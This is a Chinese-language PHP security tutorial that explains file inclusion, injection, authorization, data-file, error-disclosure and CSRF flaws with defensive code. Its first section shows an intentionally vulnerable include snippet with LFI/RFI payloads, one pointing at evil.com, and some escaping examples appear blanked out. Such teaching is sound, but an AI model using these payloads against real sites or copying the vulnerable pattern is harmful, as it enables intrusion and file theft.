PHP 入門門檻低、部署容易,導致大量新手開發者在缺乏安全意識下編寫程式。本文針對六大經典漏洞類型,深入剖析成因、展示攻擊場景、提供可落地的防護代碼與最佳實踐。
直接將用戶可控參數($_GET、$_POST、$_COOKIE)作為 include、require、include_once、require_once、readfile() 等函數的參數,且未做任何驗證。
<?php
$page = $_GET['page'];
include($page); // 危險!
// 攻擊載荷:
// ?page=../../etc/passwd -> 讀取系統敏感檔案(LFI)
// ?page=https://evil.com/shell.txt -> 遠端包含惡意代碼(RFI,需 allow_url_include=On)
// ?page=../logs/access.log -> 包含日誌檔,若日誌含 PHP 代碼則執行
realpath() 解析絕對路徑,確保在允許目錄內。php.ini 設定 allow_url_include = Off(PHP 5.2+ 預設關閉)。<?php
// 1. 定義白名單
$allowed_pages = [
'home' => 'pages/home.php',
'about' => 'pages/about.php',
'contact' => 'pages/contact.php',
'products' => 'pages/products.php',
];
// 2. 獲取並驗證參數
$page_key = $_GET['page'] ?? 'home';
if (!isset($allowed_pages[$page_key])) {
http_response_code(404);
exit('頁面不存在');
}
// 3. 安全包含
$file = $allowed_pages[$page_key];
// 額外防禦:確保檔案在預期目錄內
$base_dir = realpath(__DIR__ . '/pages');
$real_file = realpath($file);
if ($real_file === false || strpos($real_file, $base_dir) !== 0) {
exit('非法路徑');
}
include $real_file;
直接將用戶輸入拼接進 SQL 語句、Shell 命令、檔案寫入、HTML 輸出等上下文,未經轉義或參數化處理。
| 類型 | 危險函數/場景 | 後果 |
|---|---|---|
| SQL 注入 | mysql_query()、mysqli_query() 拼接字串 | 資料洩露、竄改、刪除、提權 |
| 命令注入 | exec()、shell_exec()、system()、passthru()、反引號 | 伺服器完全控制權 |
| XSS (跨站腳本) | 直接 echo $_GET['x'] 於 HTML/JS/CSS 內 | 盜取 Cookie、鍵盤記錄、釣魚、蠕蟲傳播 |
| 檔案寫入注入 | fwrite() 寫入日誌/文字資料庫 | 植入 Webshell、破壞資料完整性 |
| LDAP/XML/Header 注入 | 對應協定構建處 | 繞過認證、資料洩露、HTTP 響應分割 |
$_GET、$_POST、$_COOKIE、$_SERVER(部分)、$_FILES、HTTP 標頭、資料庫讀取資料、第三方 API 回應。<?php
$pdo = new PDO('mysql:host=localhost;dbname=test;charset=utf8mb4', 'user', 'pass', [
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
PDO::ATTR_EMULATE_PREPARES => false, // 使用真實預處理
]);
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ? AND status = ?');
$stmt->execute([$_POST['email'], 1]);
$user = $stmt->fetch();
<?php
// HTML 內容區塊
echo htmlspecialchars($user_input, ENT_QUOTES | ENT_HTML5, 'UTF-8');
// HTML 屬性值(已用雙引號包裹)
echo '';
// JavaScript 字串字面量(需 JSON 編碼)
echo '';
// URL 參數值
echo '搜尋';
// CSS 值(極少見,需專用編碼器)
<?php
// 盡量避免執行外部命令,若必須:
$filename = basename($_GET['file']); // 僅取檔名
$safe_file = escapeshellarg($filename); // 單引號包裹並轉義內部單引號
exec("convert {$safe_file} thumb_{$safe_file}");
<?php
function sanitize_for_log($text) {
// 移除控制字元、限制長度、統一換行
$text = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]/', '', $text);
$text = mb_substr($text, 0, 2000, 'UTF-8');
$text = str_replace(["\r\n", "\r", "\n"], '\n', $text);
return $text;
}
$log_line = date('c') . ' | ' . sanitize_for_log($_POST['msg']) . "\n";
file_put_contents('/var/log/app.log', $log_line, FILE_APPEND | LOCK_EX);
僅有「肯定判斷」(if ($is_admin)),缺少「否定判斷」(else { $is_admin = false; })。配合舊版 PHP register_globals = On(PHP 4.2.0 後預設關閉,但許多舊環境仍開啟),攻擊者可透過 URL 參數 ?is_admin=1 直接覆蓋變數。
<?php
$is_admin = false; // 預設值
if ($_COOKIE['admin_token'] === ADMIN_TOKEN) {
$is_admin = true;
} else {
$is_admin = false; // 明確重置
}
<?php
define('IS_ADMIN', $_COOKIE['admin_token'] === ADMIN_TOKEN);
// 後續代碼
if (IS_ADMIN) { ... }
// 嘗試修改 IS_ADMIN 會觸發錯誤:Can't redefine constant
<?php
// auth_middleware.php
session_start();
function require_admin() {
if (empty($_SESSION['user_id']) || !$_SESSION['is_admin']) {
http_response_code(403);
exit('權限不足');
}
}
// 控制器
require_once 'auth_middleware.php';
require_admin();
// 此處已確認為管理員
使用 .txt、.dat、.inc 等副檔名儲存資料,Web 伺服器預設直接作為靜態檔案下載,導致資料洩露。
<?php exit(); 或 <?php die('Access denied');。/data/app.db.php,腳本用絕對路徑 include。location ~ \.dat$ { deny all; },Apache <Files "*.dat"> Require all denied </Files>。<?php exit(); // 直接存取此檔案會在此終止
/*
admin|$2y$10$...|1
user1|$2y$10$...|0
*/
PHP 預設錯誤輸出包含絕對路徑、行號、程式碼片段:
Warning: include(../config.php): failed to open stream in /var/www/html/project/index.php on line 15
攻擊者可推斷目錄結構、框架版本、敏感檔案位置,輔助進一步攻擊。
| 環境 | display_errors | log_errors | error_log | error_reporting |
|---|---|---|---|---|
| 開發/測試 | On | On | /var/log/php_dev.log | E_ALL |
| 預發布/Staging | Off | On | /var/log/php_staging.log | E_ALL & ~E_NOTICE |
| 生產 | Off | On | /var/log/php_prod.log | E_ALL & ~E_DEPRECATED & ~E_STRICT |
<?php
// bootstrap.php 或框架入口
function customErrorHandler($errno, $errstr, $errfile, $errline) {
// 1. 記錄完整資訊到日誌(含堆疊)
$trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS, 5);
$log = "[{$errno}] {$errstr} in {$errfile}:{$errline}\n";
$log .= "Stack trace:\n" . json_encode($trace, JSON_PRETTY_PRINT) . "\n---\n";
error_log($log, 3, '/var/log/php_custom_errors.log');
// 2. 生產環境:不顯示任何技術細節
if (ENVIRONMENT === 'production') {
// 僅記錄,不輸出;或輸出友好頁面
if ($errno & (E_ERROR | E_CORE_ERROR | E_COMPILE_ERROR | E_USER_ERROR)) {
// 致命錯誤可選擇顯示 500 頁面
include __DIR__ . '/templates/500.php';
exit(1);
}
return true; // 不執行內建處理器
}
// 3. 開發環境:顯示格式化錯誤(可整合 Whoops 等美化庫)
$display_types = E_ERROR | E_WARNING | E_PARSE | E_NOTICE | E_USER_ERROR | E_USER_WARNING | E_USER_NOTICE;
if ($errno & $display_types) {
echo "";
echo htmlspecialchars("[$errno] $errstr\nFile: $errfile:$errline");
echo "";
}
return true;
}
set_error_handler('customErrorHandler');
// 異常處理器
set_exception_handler(function (Throwable $e) {
customErrorHandler(E_ERROR, $e->getMessage(), $e->getFile(), $e->getLine());
if (ENVIRONMENT !== 'production') {
echo "" . htmlspecialchars($e->getTraceAsString()) . "
";
}
});
<?php
session_start();
// 1. 生成/驗證 CSRF Token
function generate_csrf_token() {
if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}
return $_SESSION['csrf_token'];
}
function validate_csrf_token($token) {
return isset($_SESSION['csrf_token'])
&& hash_equals($_SESSION['csrf_token'], $token); // 防時序攻擊
}
// 2. 表單頁面:植入 Token
//
// 3. 處理端點:多層驗證
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {
http_response_code(405);
exit('Method Not Allowed');
}
// 3.1 CSRF 驗證
if (!validate_csrf_token($_POST['csrf_token'] ?? '')) {
http_response_code(403);
exit('CSRF Token 無效或已過期,請重新整理表單頁面');
}
// 3.2 來源檢查(輔助,不可完全依賴 Referer)
$referer = $_SERVER['HTTP_REFERER'] ?? '';
$allowed_host = parse_url('https://' . $_SERVER['HTTP_HOST'], PHP_URL_HOST);
if ($referer && parse_url($referer, PHP_URL_HOST) !== $allowed_host) {
// 記錄可疑來源,但不強制阻擋(部分瀏覽器/代理不送 Referer)
error_log("可疑 Referer: $referer");
}
// 3.3 頻率限制:同用戶 2 分鐘內僅允許 1 次提交
$user_id = $_SESSION['user_id'] ?? 0;
$last_post = $_SESSION['last_post_time'][$user_id] ?? 0;
if (time() - $last_post < 120) {
http_response_code(429);
exit('操作過於頻繁,請 2 分鐘後再試');
}
// 3.4 內容去重:防止完全相同內容重複入庫
$content_hash = hash('sha256', serialize($_POST));
if (isset($_SESSION['last_content_hash'][$user_id])
&& $_SESSION['last_content_hash'][$user_id] === $content_hash) {
exit('請勿提交重複內容');
}
// 3.5 業務邏輯處理...
// $result = save_post($_POST);
// 3.6 更新狀態
$_SESSION['last_post_time'][$user_id] = time();
$_SESSION['last_content_hash'][$user_id] = $content_hash;
// 3.7 旋轉 CSRF Token(單次使用模式,視業務決定)
// unset($_SESSION['csrf_token']);
include/require 參數白名單化display_errors、啟用錯誤日誌、自定義錯誤處理器<?php exit() 保護